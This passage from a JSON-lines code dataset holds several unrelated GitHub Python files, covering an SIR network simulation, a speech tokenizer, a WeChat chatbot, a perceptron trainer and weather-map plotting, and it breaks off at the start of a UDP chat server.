port=4000)","repo_name":"thisolivier/Flask-Postcode-Distance-App","sub_path":"easypostcode/postcode_distance.py","file_name":"postcode_distance.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29904324910","text":"n = int(input())\ndef f(n):\n res = 1\n for i in range(1, n + 1):\n res *= i\n return res\nres = f(n)\nans = 0\nwhile res % 10 == 0:\n ans += 1\n res //= 10\nprint(ans)\n\n","repo_name":"curow/Problem-Solving","sub_path":"cses/1. Introductory Problems/Trailing Zeros/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"75047459986","text":"import numpy as np\r\nfrom load_adjacency import load_adj\r\nimport matplotlib.pyplot as plt\r\nimport networkx as nx\r\nimport EoN\r\n\r\ndef calculate_node_weight_sums(graph):\r\n \"\"\"\r\n Calculate the sum of weights of neighboring edges for each node in the graph.\r\n\r\n Args:\r\n graph (networkx.Graph): The input graph.\r\n\r\n Returns:\r\n dict: A dictionary mapping nodes to their total weight sums.\r\n \"\"\"\r\n node_weight_sums = {}\r\n for node in graph.nodes():\r\n neighbors = graph.neighbors(node)\r\n total_weight = sum(graph[node][neighbor][\"weight\"] for neighbor in neighbors)\r\n node_weight_sums[node] = total_weight\r\n return node_weight_sums\r\n\r\ndef calculate_node_degrees(graph):\r\n \"\"\"\r\n Calculate the degree of each node in the graph.\r\n\r\n Args:\r\n graph (networkx.Graph): The input graph.\r\n\r\n Returns:\r\n dict: A dictionary mapping nodes to their degrees.\r\n \"\"\"\r\n node_degrees = {}\r\n for node in graph.nodes():\r\n neighbors = list(graph.neighbors(node))\r\n degree = len(neighbors)\r\n node_degrees[node] = degree\r\n return node_degrees\r\n\r\ndef calculate_node_degree_weight_product(graph):\r\n \"\"\"\r\n Calculate the product of degree and weight sum for each node in the graph.\r\n\r\n Args:\r\n graph (networkx.Graph): The input graph.\r\n\r\n Returns:\r\n dict: A dictionary mapping nodes to their degree-weight product.\r\n \"\"\"\r\n node_degree_weight_product = {}\r\n for node in graph.nodes():\r\n total_degree = len(list(graph.neighbors(node)))\r\n total_weight = sum(graph[node][neighbor][\"weight\"] for neighbor in graph.neighbors(node))\r\n product = total_degree * total_weight\r\n node_degree_weight_product[node] = product\r\n return node_degree_weight_product\r\n\r\ndef generate_network(data):\r\n \"\"\"\r\n Generate a network from input data.\r\n\r\n Args:\r\n data (pandas.DataFrame): The input data containing network information.\r\n\r\n Returns:\r\n networkx.Graph: The generated network.\r\n \"\"\"\r\n SG = nx.Graph()\r\n for index, row in data.iterrows():\r\n source = row[\"Source\"]\r\n target = row[\"Target\"]\r\n weight = row[\"Weight\"]\r\n SG.add_node(source)\r\n SG.add_node(target)\r\n SG.add_edge(source, target, weight=weight)\r\n return SG\r\n\r\ndef simulate_sir(G, beta, gamma, num_simulations):\r\n \"\"\"\r\n Simulate the SIR model on the network.\r\n\r\n Args:\r\n G (networkx.Graph): The input network.\r\n beta (float): The transmission rate.\r\n gamma (float): The recovery rate.\r\n num_simulations (int): The number of simulations to run.\r\n\r\n Returns:\r\n dict: A dictionary mapping nodes to their recovery counts.\r\n \"\"\"\r\n nodes = G.nodes\r\n recovery_counts = {node: 0 for node in nodes}\r\n for _ in range(num_simulations):\r\n sim = EoN.fast_SIR(G, beta, gamma, transmission_weight='weight', return_full_data=True, rho=0.02)\r\n t = sim.t()\r\n t_max = t[-1]\r\n for node in nodes:\r\n final_statuses = sim.node_status(node, t_max)\r\n if final_statuses == 'R':\r\n recovery_counts[node] += np.round(1/num_simulations, 2)\r\n return recovery_counts\r\n\r\nif __name__ == \"__main__\":\r\n # Parameters\r\n beta = 0.084\r\n gamma = 0.6\r\n num_simulations = 100\r\n\r\n # Load data\r\n data = load_adj(\"exp_pow.csv\")\r\n G = generate_network(data)\r\n\r\n # Simulate SIR and calculate correlations\r\n p = simulate_sir(G, beta, gamma, num_simulations)\r\n weight = calculate_node_weight_sums(G)\r\n degree = calculate_node_degrees(G)\r\n d_w = calculate_node_degree_weight_product(G)\r\n\r\n # Create subplots\r\n plt.figure(figsize=(8.9 / 2.54, 6.75 / 2.54))\r\n plt.subplot(1, 3, 1)\r\n plt.loglog(list(degree.values()), list(p.values()), marker='o', linestyle='', c='b')\r\n plt.xlabel(\"Degree\", fontsize=15)\r\n plt.ylabel(\"P\", fontsize=15)\r\n plt.xticks(fontsize=12)\r\n plt.yticks(fontsize=12)\r\n\r\n plt.subplot(1, 3, 2)\r\n plt.loglog(list(weight.values()), list(p.values()), marker='o', linestyle='', c='b')\r\n plt.xlabel(\"Weight\", fontsize=15)\r\n plt.xticks(fontsize=12)\r\n plt.yticks(fontsize=12)\r\n\r\n plt.subplot(1, 3, 3)\r\n plt.loglog(list(d_w.values()), list(p.values()), marker='o', linestyle='', c='b')\r\n plt.xlabel(\"Degree*Weight\", fontsize=15)\r\n plt.xticks(fontsize=12)\r\n plt.yticks(fontsize=12)\r\n\r\n plt.suptitle(\"exp_pow\", fontsize=20)\r\n plt.savefig('exp_pow_correlation.png', dpi=300)\r\n plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Yinfs0910/bluetooth_analysis_sir_simulation","sub_path":"r_state_probability.py","file_name":"r_state_probability.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22941426757","text":"from dataclasses import dataclass\nfrom string import punctuation, ascii_lowercase\nfrom typing import Union, Dict, List\n\nimport torch\nimport torch.nn as nn\n\nfrom . import METADATA_FILE\n\n\n@dataclass\nclass TextData:\n uid: str\n transcription: str\n\n\nclass CharTokenizer:\n def __init__(self, init_with_basic_letters: bool = True):\n self.ctoi = {'': 0, '': 1}\n self.itoc = {0: '', 1: ''}\n\n self.pad_idx = 0\n self.unk_idx = 1\n\n self.cnt = 2\n\n if init_with_basic_letters:\n self.add_from_string(punctuation)\n self.add_from_string(ascii_lowercase)\n\n def __len__(self):\n return self.cnt\n\n def add_from_string(self, string: Union[str, list]) -> None:\n for char in set(string):\n if char not in self.ctoi:\n self.ctoi[char] = self.cnt\n self.itoc[self.cnt] = char\n self.cnt += 1\n\n def get_idx_from_string(self, string: str) -> List[int]:\n return [self.ctoi.get(char, self.unk_idx) for char in string]\n\n\ndef decode_single_line(line: str, normalized: bool = True) -> TextData:\n \"\"\"Decode a single line of metadata.csv\"\"\"\n uid, trs, n_trs = line.strip().split('|')\n transcription = n_trs if normalized else trs\n return TextData(uid, transcription.lower())\n\n\ndef tokenize_transcription(\n metadata_file: str, normalized: bool = True,\n init_with_basic_letters: bool = False) -> CharTokenizer:\n \"\"\"Tokenize all the transcriptions in characters\"\"\"\n tokenizer = CharTokenizer(init_with_basic_letters=init_with_basic_letters)\n\n if init_with_basic_letters:\n return tokenizer\n\n with open(metadata_file) as meta_file:\n for line in meta_file:\n txt_data = decode_single_line(line, normalized=normalized)\n tokenizer.add_from_string(txt_data.transcription)\n\n return tokenizer\n\n\ndef load_transcription(metadata_file: str,\n normalized: bool = True) -> Dict[str, str]:\n uid_to_transcription = {}\n\n with open(metadata_file) as meta_file:\n for line in meta_file:\n txt_data = decode_single_line(line, normalized=normalized)\n uid_to_transcription[txt_data.uid] = txt_data.transcription\n\n return uid_to_transcription\n","repo_name":"crissed53/tacotron","sub_path":"data/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9232944736","text":"#!/usr/bin/env python\n# coding: utf-8\n\n#===================================================\nfrom wechat.utils import *\nfrom config import Constant\n#---------------------------------------------------\nimport random, time, json\nimport grequests\n#===================================================\n\n\nclass Bot(object):\n\n def __init__(self):\n self.emoticons = Constant.EMOTICON\n self.gifs = []\n self.last_time = time.time()\n\n self.tuling_session = requests.session()\n # 可以添加更多bot对话\n\n def close_session(self):\n self.tuling_session.close()\n\n def tuling_reply(self, text, user_id):\n api_key = Constant.BOT_TULING_API_KEY\n api_url = Constant.BOT_TULING_API_URL % (api_key, text, user_id)\n r = json.loads(get(self.tuling_session, api_url))\n if r.get('code') == 100000 and r.get('text') != Constant.BOT_TULING_BOT_REPLY:\n return r['text']\n return ''\n\n def get_many_reply(self, need_reply_list):\n def except_handler():\n echo('request bot reply failed\\n')\n\n api_key = Constant.BOT_TULING_API_KEY\n api_urls = [Constant.BOT_TULING_API_URL % (api_key, ne_reply['text'], ne_reply['user'])\n for ne_reply in need_reply_list]\n reqs = [grequests.get(url) for url in api_urls]\n responses = grequests.map(reqs, exception_handler=except_handler)\n rs = map(lambda r: json.loads(r.content) if r else None, responses)\n result = []\n for rg in rs:\n if rg:\n if rg.get('code') == 100000 and rg.get('text'):\n result.append(trans_coding(rg['text']))\n else:\n result.append(Constant.BOT_TULING_BOT_REPLY)\n else:\n result.append(Constant.BOT_TULING_BOT_REPLY)\n return result\n","repo_name":"tripleha/wechatbot","sub_path":"wx_handler/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43322741622","text":"class AIBrain:\n \"\"\"\n This is used to create the Brain of the Computer\n so at anytime it can know the state of the game\n and perform a move according to that state.\n \"\"\"\n def __init__(self, states):\n \"\"\"\n AIBrain constructor to create memory space and initialise\n object variables.\n\n :param states: text files holding possible board states\n \"\"\"\n self.states = open(states, 'r')\n self.brain = {}\n\n def set_knowledge(self):\n \"\"\"\n We create a dictionary object holding a board state and all it's\n possible movements (in coordinate form) from that state.\n :return:\n \"\"\"\n num_of_states = int(self.states.readline()) # get the number of states in the the file\n for i in range(num_of_states):\n counter = 0\n moves = [] # stores a move containing start ands stop coords\n state = '' # stores a particular board state associated to the moves.\n\n input_lines = int(self.states.readline())\n for j in range(input_lines):\n if input_lines-counter > 3:\n moves.append([int(x) for x in self.states.readline().strip(\"\\n\").split(\" \")])\n else:\n # Represent a state as a string for easy referencing\n state += \"\".join((self.states.readline().strip(\"\\n\").split(\" \")))\n counter += 1\n self.brain[str(state)] = moves # Create the computer's brain\n\n def get_brain(self):\n \"\"\"\n Gives the computer's brain upon request\n :return: computer's brain (self.brain)\n \"\"\"\n return self.brain\n","repo_name":"djff/hexachess","sub_path":"AIBrain.py","file_name":"AIBrain.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41746692279","text":"import csv\n\npath = 'nummer_matriz.csv'\nfile = open(path, newline='')\nreader = csv.reader(file)\n\ndef mostrar(data,cant_prod,venta_sem):\n for i in range(cant_prod):\n suma = 0\n\n for j in range(venta_sem):\n suma = suma + data[i][j]\n print(f'La cantidad de producto {j+1} es {suma}')\n\n for i in range(venta_sem):\n suma = 0\n\n for j in range(cant_prod):\n suma=suma+data[j][i]\n print(f'La venta en semestre {i+1} es {suma}')\n\n\n\n\ndef main():\n\n header = next(reader)\n data = []\n\n for row in reader:\n data1 = int(row[0])\n data2 = int(row[1])\n data3 = int(row[2])\n data4 = int(row[3])\n\n data.append([data1,data2, data3, data4])\n mostrar(data,len(data),len(data[0]))\n\n\n\n print(data)\n print(f'matriz de {len(data)} x {len(data[0])}')\n\nmain()","repo_name":"A1bertoVG/Finance_Automation","sub_path":"matriz_prueba.py","file_name":"matriz_prueba.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21007106936","text":"# define a function to display the coordinates of\nimport cv2\nimport os\n\n# of the points clicked on the image\n\n\ndef click_event(event, x, y, flags, params):\n if event == cv2.EVENT_LBUTTONDOWN:\n print(f'({x},{y})')\n\n # put coordinates as text on the image\n cv2.putText(img, f'({x},{y})', (x, y),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n\n # draw point on the image\n cv2.circle(img, (x, y), 3, (0, 255, 255), -1)\n\n try:\n # save the points in a txt file\n path_file= './coordinates.txt'\n if os.path.isfile(path_file) is True:\n with open('coordinates.txt', 'a') as f:\n f.write(f'({x},{y})')\n f.write('\\n')\n f.close()\n\n except Exception as e:\n print(e)\n\n\n# read the input image\nimg = cv2.imread('road1.jpg')\n\n# create a window\ncv2.namedWindow('Point Coordinates')\n\n# bind the callback function to window\ncv2.setMouseCallback('Point Coordinates', click_event)\n\n\n# display the image\nwhile True:\n cv2.imshow('Point Coordinates', img)\n k = cv2.waitKey(1) & 0xFF\n if k == 27:\n break\n\ncv2.destroyAllWindows()","repo_name":"sidb236/PerspectiveTransform","sub_path":"img_points.py","file_name":"img_points.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7754878422","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 6 15:02:25 2020\n\n@author: yashc\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# np.random.seed(100)\n\n\ndef ideal_w():\n \"\"\" calculates the ideal weights and returns the array \"\"\"\n global w0, w1, w2\n w0 = np.random.uniform(-0.25, 0.25)\n w1 = np.random.uniform(-1, 1)\n w2 = np.random.uniform(-1, 1)\n W = np.array((w0, w1, w2)).reshape((1, 3))\n print(\"The weights w0, w1, w2 picked are:\")\n print(\"w0 = {0}\\nw1 = {1}\\nw2 = {2}\\n\".format(w0, w1, w2))\n return W\n\n\ndef set_S():\n \"\"\" assigning values uniformly at random to the Set S for 100 as well as 1000 inputs \"\"\" \n S_100 = np.empty((100, 2))\n for row in range(np.shape(S_100)[0]):\n S_100[row] = np.random.uniform(-1, 1, 2)\n S_1000 = np.empty((1000, 2))\n for row in range(np.shape(S_1000)[0]):\n S_1000[row] = np.random.uniform(-1, 1, 2)\n return (S_100, S_1000)\n\n\ndef initial_w():\n global w0_prime, w1_prime, w2_prime\n w0_prime = np.random.uniform(-1, 1)\n w1_prime = np.random.uniform(-1, 1)\n w2_prime = np.random.uniform(-1, 1)\n print(\"The weights w0', w1', w2' picked are:\")\n print(\"w0' = {0}\\nw1' = {1}\\nw2' = {2}\\n\".format(w0_prime, w1_prime, w2_prime))\n\n\ndef subset_S0_S1(S, W, n):\n \"\"\" creating sub-sets S0 and S1 and plotting the classifier \"\"\" \n print(\"\\n-----------------------------------------------------------------------\")\n print(\"For N =\", n)\n global bias, S0, S1\n bias = np.array((1))\n S0 = np.empty((0, 2))\n S1 = np.empty((0, 2))\n\n for row in range(np.shape(S)[0]):\n if np.dot(np.append(bias, S[row]), W.T) < 0:\n S0 = np.append(S0, S[row].reshape((1, 2)), axis=0)\n else:\n S1 = np.append(S1, S[row].reshape((1, 2)), axis = 0)\n plt.scatter(*zip(*S0), marker = 'x', color = 'r', label = 'S0')\n plt.scatter(*zip(*S1), marker = '.', color = 'b', label = 'S1')\n\n x1 = np.linspace(-1.1, 1.6)\n x2 = - (W[0][1]*x1 + W[0][0]) / W[0][2]\n plt.ylim(-1.1, 1.1)\n plt.plot(x1, x2, label = 'Classifier', color ='g')\n plt.xlabel(\"X1\")\n plt.ylabel(\"X2\")\n plt.legend()\n plt.show()\n\n\n# from (j)\ndef pta(S):\n eta_list = [1, 10, 0.1]\n\n for eta in eta_list:\n W_prime = np.array((w0_prime, w1_prime, w2_prime)).reshape((1, 3))\n print(\"-----------------------------------------------------------------------\")\n print(\"For eta:\", eta)\n epoch = 0\n no_misclassifications = 0\n misclassifications_list = []\n\n while True:\n no_misclassifications = 0\n epoch += 1\n for row in range(np.shape(S)[0]):\n if np.dot(np.append(bias, S[row]), W_prime.T) < 0:\n if S[row] in S0:\n continue\n else:\n no_misclassifications += 1\n W_prime = W_prime + eta*np.append(bias, S[row])\n else:\n if S[row] in S1:\n continue\n else:\n no_misclassifications += 1\n W_prime = W_prime - eta*np.append(bias, S[row])\n misclassifications_list.append(no_misclassifications)\n if no_misclassifications == 0:\n break\n else:\n continue\n print(\"Total number of epochs:\", epoch, \"\\n\")\n print(\"The final weights are :\")\n print(\"w0 = {0}\\nw1 = {1}\\nw2 = {2}\\n\".format(W_prime[0][0], W_prime[0][1], W_prime[0][2]))\n print(\"Difference between these weights and the optimal weights are:\")\n print(\"w0 difference: {0}\\nw1 difference: {1}\\nw2 difference: {2}\\n\".format(W_prime[0][0] - w0, W_prime[0][1] - w1, W_prime[0][2] - w2))\n\n plt.plot(range(epoch), misclassifications_list)\n plt.xlabel(\"Number of epochs\")\n plt.ylabel(\"Number of misclassifications\")\n plt.show()\n\n\nif __name__ == \"__main__\":\n W = ideal_w()\n S_100, S_1000 = set_S()\n initial_w()\n subset_S0_S1(S_100, W, 100)\n pta(S_100)\n subset_S0_S1(S_1000, W, 1000)\n pta(S_1000)\n\n\n","repo_name":"yashchitre03/Perceptron-Training-Algorithm","sub_path":"pta.py","file_name":"pta.py","file_ext":"py","file_size_in_byte":4129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37541953199","text":"import os\nimport datetime\nimport numpy as np\nfrom netCDF4 import Dataset\nimport pandas as pd\nimport matplotlib as mpl\n\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.basemap as bm\nfrom multiprocessing import Pool\n\n# 解决保存图像是负号'-'显示为方块的问题\nmpl.rcParams['axes.unicode_minus'] = False\n\n\n# 检查文件夹是否存在,如果不存在则创建\ndef CheckDir(path):\n if not os.path.exists(path):\n os.mkdir(path)\n\n\n# 设置地图\ndef DrawBasemap(xticksize=15, yticksize=15, resolution='c'):\n \"\"\"\n Draw a basemap on Qinghai-Tibet Plateau and nearby area with a border a border of Plateau\n DrawBasemap(fontsize=16)\n \"\"\"\n mp = bm.Basemap(llcrnrlon=60., llcrnrlat=-10., urcrnrlon=150., urcrnrlat=60., resolution=resolution,\n projection='cyl')\n # mp.drawparallels(np.arange(-10, 60, 10), labels=[True, False, False, False], linewidth=0.5, dashes=[1, 5], fontsize=yticksize)\n # mp.drawmeridians(np.arange(70, 150, 10), labels=[False, False, False, True], linewidth=0.5, dashes=[1, 5], fontsize=xticksize)\n mp.readshapefile('/data/map_or_other/map/map-china/sheng', 'county', linewidth=0.8, color='k')\n\n\n# 颜色层级\ndef leves_colors(var, num=1000):\n if var == 'dbz': # dbz的层级和颜色\n levels = [15, 20, 25, 30, 35, 40, 45, 50, 55, 60, 65, 70]\n colors = ['white', 'cyan', 'lawngreen', 'limegreen', 'yellow', 'goldenrod', 'darkorange', 'red', 'firebrick',\n 'brown', 'hotpink', 'darkviolet', 'violet']\n elif var == 'rain': # rain的层级和颜色\n levels = [0.1, 2, 4, 6, 8, 10, 20, 50]\n colors = ['#7FFFFF', '#23B6FF', '#0052CA', '#0110DB', '#9302F9', '#6D00B6', '#4D0082']\n elif var == 'temp': # temp的层级和颜色\n if 700 <= num <= 1000: # 700hPa-1000hPa\n levels = [-40, -35, -30, -25, -20, -15, -10, -5, 0, 5, 10, 15, 20, 25, 30, 35, 40]\n colors = ['#333333', '#595959', '#7f7f7f', '#a5a5a5', '#cccccc', '#eddaff', '#cc91ff', '#b248ff', '#9900ff',\n '#6600ff', '#002eff', '#0a57ff', '#1481ff', '#1c96f5', '#23aceb', '#12c7e9', '#00e2e6', '#2ae273',\n '#54e200', '#7ff000', '#aaff00', '#d4ff00', '#ffff00', '#ffe500', '#ffcc00', '#ffb200', '#ff9900',\n '#ff6e00', '#ff4300', '#ff537f', '#ff63ff', '#ff81f3', '#ff9ee8', '#ffcef3']\n elif num == 500: # 500hPa\n levels = [-70, -65, -60 - 55, -50, -45, -40, -35, -30, -25, -20, -15, -10, -5, 0, 5, 10]\n colors = ['#333333', '#595959', '#7f7f7f', '#a5a5a5', '#cccccc', '#eddaff', '#cc91ff', '#b248ff', '#9900ff',\n '#6600ff', '#002eff', '#0a57ff', '#1481ff', '#1c96f5', '#23aceb', '#12c7e9', '#00e2e6', '#2ae273',\n '#54e200', '#7ff000', '#aaff00', '#d4ff00', '#ffff00', '#ffe500', '#ffcc00', '#ffb200', '#ff9900',\n '#ff6e00', '#ff4300', '#ff537f', '#ff63ff', '#ff81f3', '#ff9ee8', '#ffcef3']\n elif var == 'rh': # 850mb相对湿度\n levels = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 95, 100]\n colors = ['#ff9ee8', '#ff63ff', '#ff4300', '#ff9900', '#ffcc00', '#ffff00', '#aaff00', '#54e200', '#00e2e6',\n '#23aceb', '#002eff', '#7f7f7f']\n elif var == 'wind': # 风速\n levels = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 95, 100]\n colors = ['#ff9ee8', '#ff63ff', '#ff4300', '#ff9900', '#ffcc00', '#ffff00', '#aaff00', '#54e200', '#00e2e6',\n '#23aceb', '#002eff', '#7f7f7f']\n return levels, colors\n\n\n# 添加并绘制中文地名\ndef add_zh_sta_name(infile, zh_name, lat_name, lon_name):\n names_df = pd.read_csv(infile) # 中文地名CSV文件\n names_temp = names_df[zh_name] # 中文地名\n lats = names_df[lat_name] # 地名lat\n lons = names_df[lon_name] # 地名lon\n names = []\n for n in names_temp: # 设置中文编码\n names.append(n.decode('utf-8'))\n for i, n in enumerate(names):\n plt.text(lons[i], lats[i], n, fontsize=13, color='b') # 中文地名\n plt.scatter(plons, plats, s=20, color='b') # 地名标记点\n\n\n# 填色图\ndef Drawcontourf(lat, lon, var, levels, color):\n ctrf = plt.contourf(lon, lat, var, levels=levels, colors=color, extend='max')\n cbar = plt.colorbar(ctrf, fraction=0.03, pad=0.04) # 填色图图例\n cbar.set_ticks(levels)\n\n\n# 等值线图\ndef Drawcontour(lat, lon, var, nlevel, color='k', linewidth=1., fmat='%4.1f'):\n cx1 = plt.contour(lon, lat, var, nlevel, colors=color, linewidths=linewidth)\n plt.clabel(cx1, fmt=fmat) # 等值线数值\n\n\n# 风场图(风向杆)\ndef Drawbarbs(lat, lon, u, v, ndeltx, color='k', linewidth=1.):\n pltlat = lat[::ndeltx]\n pltlon = lon[::ndeltx]\n pltu = u[::ndeltx, ::ndeltx]\n pltv = v[::ndeltx, ::ndeltx]\n qv = plt.barbs(pltlon, pltlat, pltu, pltv, length=5, barbcolor=color, flagcolor=color, linewidth=linewidth)\n\n\n# 绘图\ndef Drawpng(outpng, pngtext1, pngtext2, text_latlong1=(60, 62), text_latlong2=(130, 62), drawmap=True, drawconf=False, drawcon=False, drawbars=False, drawzhname=False):\n w = 10 # 设置画布宽度\n h = 10 # 设置画布高度\n dpi = 100 # 设置dpi\n fig = plt.figure(figsize=(w, h), dpi=dpi)\n\n if drawmap:\n DrawBasemap() # 绘制地图\n\n if drawconf:\n lat = drawconf[0]\n lon = drawconf[1]\n var = drawconf[2]\n levels = drawconf[3]\n color = drawconf[4]\n Drawcontourf(lat, lon, var, levels, color) # 绘制填色图\n\n if drawcon:\n lat = drawcon[0]\n lon = drawcon[1]\n var = drawcon[2]\n nlevel = drawcon[3]\n Drawcontour(lat, lon, var, nlevel, color='w', linewidth=1., fmat='%4.1f') # 绘制等值线图\n\n if drawbars:\n lat = drawbars[0]\n lon = drawbars[1]\n u = drawbars[2]\n v = drawbars[3]\n ndeltx = drawbars[4]\n Drawbarbs(lat, lon, u, v, ndeltx, color='k', linewidth=1.) # 绘制风场图(风向杆)\n\n if drawzhname:\n zhfile = drawzhname[0]\n zh_name = drawzhname[1]\n lat_name = drawzhname[2]\n lon_name = drawzhname[3]\n add_zh_sta_name(zhfile, zh_name, lat_name, lon_name) # 绘制中文地名\n\n # 绘制标题\n plt.text(text_latlong1[0], text_latlong1[1], pngtext1.decode('utf-8'), fontsize=14, color='b')\n plt.text(text_latlong2[0], text_latlong2[1], pngtext2.decode('utf-8'), fontsize=14, color='b')\n\n # 保存图片\n plt.savefig(outpng, bbox_inches='tight')\n plt.close()\n print ('完成绘制:' + outpng)\n\n\ndef run_main(in_dir, infile, out_dir, initial_time):\n indir = in_dir + '/' + initial_time\n fcst_time = infile[4:14] # 预报时间\n initial_time_1 = datetime.datetime.strptime(initial_time, \"%Y%m%d%H\")\n fcst_time_1 = datetime.datetime.strptime(fcst_time, \"%Y%m%d%H\")\n ntime = int((fcst_time_1 - initial_time_1).total_seconds() / 3600) # 时间差(预报-起报);小时\n\n # 读取nc数据\n file_data = Dataset(indir + '/' + infile, 'r')\n lat = file_data.variables['lat'][:]\n lon = file_data.variables['lon'][:]\n lev = file_data.variables['lev'][:]\n gh = file_data.variables['GH'][:, :, :] # 高度\n rh = file_data.variables['R'][:, :, :] # 相对湿度\n temp = file_data.variables['T'][:, :, :] - 273.15 # 温度\n wind_w = file_data.variables['W'][:, :, :] # 风速 w\n wind_u = file_data.variables['U'][:, :, :] # 风速 u\n wind_v = file_data.variables['V'][:, :, :] # 风速 v\n\n lat_2 = file_data.variables['lat_2'][:]\n lon_2 = file_data.variables['lon_2'][:]\n snowd = file_data.variables['SD'][:] # 雪深\n\n for nlev in lev:\n if nlev in [850]:\n # 输出格式\n out_dir_fina = out_dir + 'out' + initial_time[0:8]\n CheckDir(out_dir_fina) # 检查输出文件夹是否存在\n # 相对湿度\n outpng = out_dir_fina + '/rh_' + str(int(nlev)) + '.t' + initial_time[8:10] + 'z.f' + str('%02i' % ntime) + '.png' # 输出的图片名\n pngtext1 = initial_time[0:4] + '/' + initial_time[4:6] + '/' + initial_time[6:8] + '(' + initial_time[ 8:10] + ':00)起报 ' + str('%02i' % ntime) + 'h预报'\n pngtext2 = str(int(nlev)) + 'hPa 相对湿度(%)'\n var_index = np.argwhere(lev == nlev)\n levels, colors = leves_colors(var='rh')\n Drawpng(outpng, pngtext1, pngtext2, drawconf=(lat, lon, rh[int(var_index), :, :], levels, colors))\n\n if nlev in [925, 850, 700, 500]:\n # 输出格式\n out_dir_fina = out_dir + '/hrrr.' + initial_time[0:8]\n CheckDir(out_dir_fina) # 检查输出文件夹是否存在\n # 位势高度/温度/风\n outpng = out_dir_fina + '/temp_' + str(int(nlev)) + '.t' + initial_time[8:10] + 'z.f' + str(\n '%02i' % ntime) + '.png' # 输出的图片名\n pngtext1 = initial_time[0:4] + '/' + initial_time[4:6] + '/' + initial_time[6:8] + '(' + initial_time[8:10] + ':00)起报 ' + str('%02i' % ntime) + 'h预报'\n pngtext2 = str(int(nlev)) + 'hPa 位势高度(m)/温度(C)/风(m/s)'\n var_index = np.argwhere(lev == nlev)\n if nlev == 500:\n levels, colors = leves_colors(var='temp')\n else:\n levels, colors = leves_colors(var='temp')\n Drawpng(outpng, pngtext1, pngtext2,\n drawconf=(lat, lon, temp[int(var_index), :, :], levels, colors),\n drawcon=(lat, lon, gh[int(var_index), :, :], 80),\n drawbars=(lat, lon, wind_u[int(var_index), :, :], wind_v[int(var_index), :, :], 10))\n\n if nlev in [250]:\n # 输出格式\n out_dir_fina = out_dir + '/hrrr.' + initial_time[0:8]\n CheckDir(out_dir_fina) # 检查输出文件夹是否存在\n # 位势高度/风\n outpng = out_dir_fina + '/wind_' + str(int(nlev)) + '.t' + initial_time[8:10] + 'z.f' + str('%02i' % ntime) + '.png' # 输出的图片名\n pngtext1 = initial_time[0:4] + '/' + initial_time[4:6] + '/' + initial_time[6:8] + '(' + initial_time[8:10] + ':00)起报 ' + str('%02i' % ntime) + 'h预报'\n pngtext2 = str(int(nlev)) + 'hPa 位势高度(m)/温度(C)/风(m/s)'\n var_index = np.argwhere(lev == nlev)\n levels, colors = leves_colors(var='wind')\n wind = np.sqrt((wind_u[int(var_index), :, :] ** 2) + (wind_v[int(var_index), :, :] ** 2))\n Drawpng(outpng, pngtext1, pngtext2, drawconf=(lat, lon, wind[:, :], levels, colors), drawcon=(lat, lon, gh[int(var_index), :, :], 80), drawbars=(lat, lon, wind_u[int(var_index), :, :], wind_v[int(var_index), :, :], 10))\n\n # 输出格式\n out_dir_fina = out_dir + '/hrrr.' + initial_time[0:8]\n CheckDir(out_dir_fina) # 检查输出文件夹是否存在\n # 位势高度/温度/风\n outpng = out_dir_fina + '/rh_500' + '.t' + initial_time[8:10] + 'z.f' + str('%02i' % ntime) + '.png' # 输出的图片名\n pngtext1 = initial_time[0:4] + '/' + initial_time[4:6] + '/' + initial_time[6:8] + '(' + initial_time[8:10] + ':00)起报 ' + str('%02i' % ntime) + 'h预报'\n pngtext2 = '850-500hPa 平均相对湿度(%)/700hPa 风(m/s)'\n levels, colors = leves_colors(var='rh')\n rh_avg = (rh[4, :, :] + rh[5, :, :] + rh[6, :, :] + rh[7, :, :] + rh[8, :, :]) / 5.\n Drawpng(outpng, pngtext1, pngtext2, drawconf=(lat, lon, rh_avg[:, :], levels, colors),\n drawbars=(lat, lon, wind_u[6, :, :], wind_v[6, :, :], 10))\n\n# 输入输出路径\ninitial_time = '20210218123000'\nin_dir = 'data'\nout_dir ='pic'\ninfiles = os.listdir(in_dir + '/' + initial_time)\nfor infile in infiles:\n run_main(in_dir, infile, out_dir, initial_time)\n","repo_name":"cycle13/demo","sub_path":"common_learn/nc文件可视化1/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":11737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71740119186","text":"# 12/10/2022\n# Servidor da conexão multithread\n# Chat multithread\n\nimport socket\nfrom time import sleep\nimport threading\n\nHOST = 'localhost'\nPORT = 5000\n\nudp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nudp.bind((HOST, PORT))\n\nprint('Servidor no ar...')\n\ndef trata_cliente(msg, cliente):\n 